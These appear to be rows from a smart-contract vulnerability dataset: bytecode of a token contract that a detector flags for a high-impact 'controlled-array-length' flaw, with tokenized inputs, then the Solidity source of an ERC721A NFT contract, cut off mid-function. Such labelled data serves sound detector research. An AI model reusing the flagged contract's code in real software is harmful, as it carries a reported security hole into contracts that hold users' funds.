fff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061216d565b600090505b9392505050565b601f5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561222557600080fd5b8060218190555050565b60096020528060005260406000206000915054906101000a900460ff1681565b601281565b601c5481565b60165481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900460ff161515156122a257600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122fe57600080fd5b6001600b60006101000a81548160ff0219169083151502179055506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561243b57612395600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e54600d54600c54600054030303612fb0565b60003073ffffffffffffffffffffffffffffffffffffffff1631111561243657600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015612434573d6000803e3d6000fd5b505b612517565b612475600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e54600d54600c54600054030303612fb0565b60003073ffffffffffffffffffffffffffffffffffffffff1631111561251657600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015612514573d6000803e3d6000fd5b505b5b565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125af5780601f10612584576101008083540402835291602001916125af565b820191906000526020600020905b81548152906001019060200180831161259257829003601f168201915b505050505081565b60155481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561266257600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d5481565b602260009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561271b57600080fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a8190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508073ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a250565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054019050919050565b6012600a0a6377359400026000819055506000600b60006101000a81548160ff02191690831515021790555033600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561297457600080fd5b856010819055508460118190555083601281905550826013819055508160148190555080601581905550505050505050565b601a5481565b600b60009054906101000a900460ff1681565b6040805190810160405280600381526020017f494d45000000000000000000000000000000000000000000000000000000000081525081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a5457600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612af457600080fd5b80602260006101000a81548160ff02191690831515021790555050565b601e5481565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015612b685750600082115b8015612b805750600560009054906101000a900460ff165b15612c8d5781600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050612c92565b600090505b92915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612d3d57600080fd5b6012600a0a84026018819055506012600a0a83026019819055506012600a0a8202601a819055506012600a0a8102601b8190555050505050565b60125481565b600e5481565b600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612de257600080fd5b6000915060009050612df6600c5484612f83565b90508060195410151515612e0957600080fd5b612e138484612fb0565b80600c819055508373ffffffffffffffffffffffffffffffffffffffff167fdb2d10a559cb6e14fee5a7a2d8c216314e11c22404e85a4f9af45f07c87192bb846040518082815260200191505060405180910390a250505050565b60105481565b60135481565b60205481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60195481565b60115481565b60215481565b601d5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b60008082840290506000841480612f6e5750828482811515612f6b57fe5b04145b1515612f7957600080fd5b8091505092915050565b6000808284019050838110158015612f9b5750828110155b1515612fa657600080fd5b8091505092915050565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555050505600a165627a7a723058205172cdd88e3c49053b4015bd8d6b05ae3dd8ad360dc02d7ae17a76ae03b04a9e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 2098, 2683, 22025, 16409, 16665, 12376, 2683, 2278, 2581, 2620, 23777, 2050, 2620, 20842, 2692, 2050, 23777, 2546, 2549, 2278, 2475, 2050, 2620, 26224, 24434, 2278, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1022, 1025, 1013, 1013, 1030, 4769, 1014, 2595, 1013, 1013, 1030, 4800, 5332, 2290, 1013, 1013, 1996, 7375, 2005, 1996, 10047, 2063, 1012, 10047, 2063, 24582, 2080, 6047, 3206, 2001, 4427, 2011, 1013, 1013, 1996, 28855, 14820, 19204, 4325, 14924, 4818, 1010, 1996, 2034, 26682, 19204, 1010, 1998, 1996, 7151, 19204, 1012, 1013, 1013, 21624, 1024, 1014, 1012, 1018, 1012, 2459, 1009, 10797, 1012, 1038, 3207, 2497, 2683, 2063, 25746, 1013, 1008, 1015, 1012, 3206, 4769, 1024, 1014, 2595, 1016, 1012, 2880, 2609, 24471, 2140, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,349
0x969f5cf46517D52d9c7B1B442340F057FE55A67c
// SPDX-License-Identifier: MIT pragma solidity ^0.8.11; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). * * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex = 56; // Token name string private _name; // Token symbol string private _symbol; bool public revealStatus; string public constant unrevealedURI = "QmdQR4fftQ7TLW6eoqpRD33q2i8kTSt6cHCCJQZitprQCJ"; string public revealedURI; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex - 1; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), 'ERC721A: global index out of bounds'); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), 'ERC721A: owner index out of bounds'); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx; address currOwnershipAddr; // currentIndex overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert('ERC721A: unable to get token of owner by index'); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), 'ERC721A: balance query for the zero address'); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), 'ERC721A: number minted query for the zero address'); return uint256(_addressData[owner].numberMinted); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), 'ERC721A: owner query for nonexistent token'); unchecked { for (uint256 curr = tokenId; curr >= 0; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } revert('ERC721A: unable to determine the owner of token'); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token'); if(!revealStatus){ string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked("ipfs://", baseURI, "/", tokenId.toString(), ".json")) : ''; }else{ string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked("ipfs://", baseURI, "/", tokenId.toString(), ".json")) : ''; } } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view returns (string memory) { if (!revealStatus) { return unrevealedURI; } else { return revealedURI; } } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, 'ERC721A: approval to current owner'); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), 'ERC721A: approve caller is not owner nor approved for all' ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), 'ERC721A: approved query for nonexistent token'); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), 'ERC721A: approve to caller'); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex && tokenId != 0 ; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = currentIndex; require(to != address(0), 'ERC721A: mint to the zero address'); require(quantity != 0, 'ERC721A: quantity must be greater than 0'); _beforeTokenTransfers(address(0), to, startTokenId, 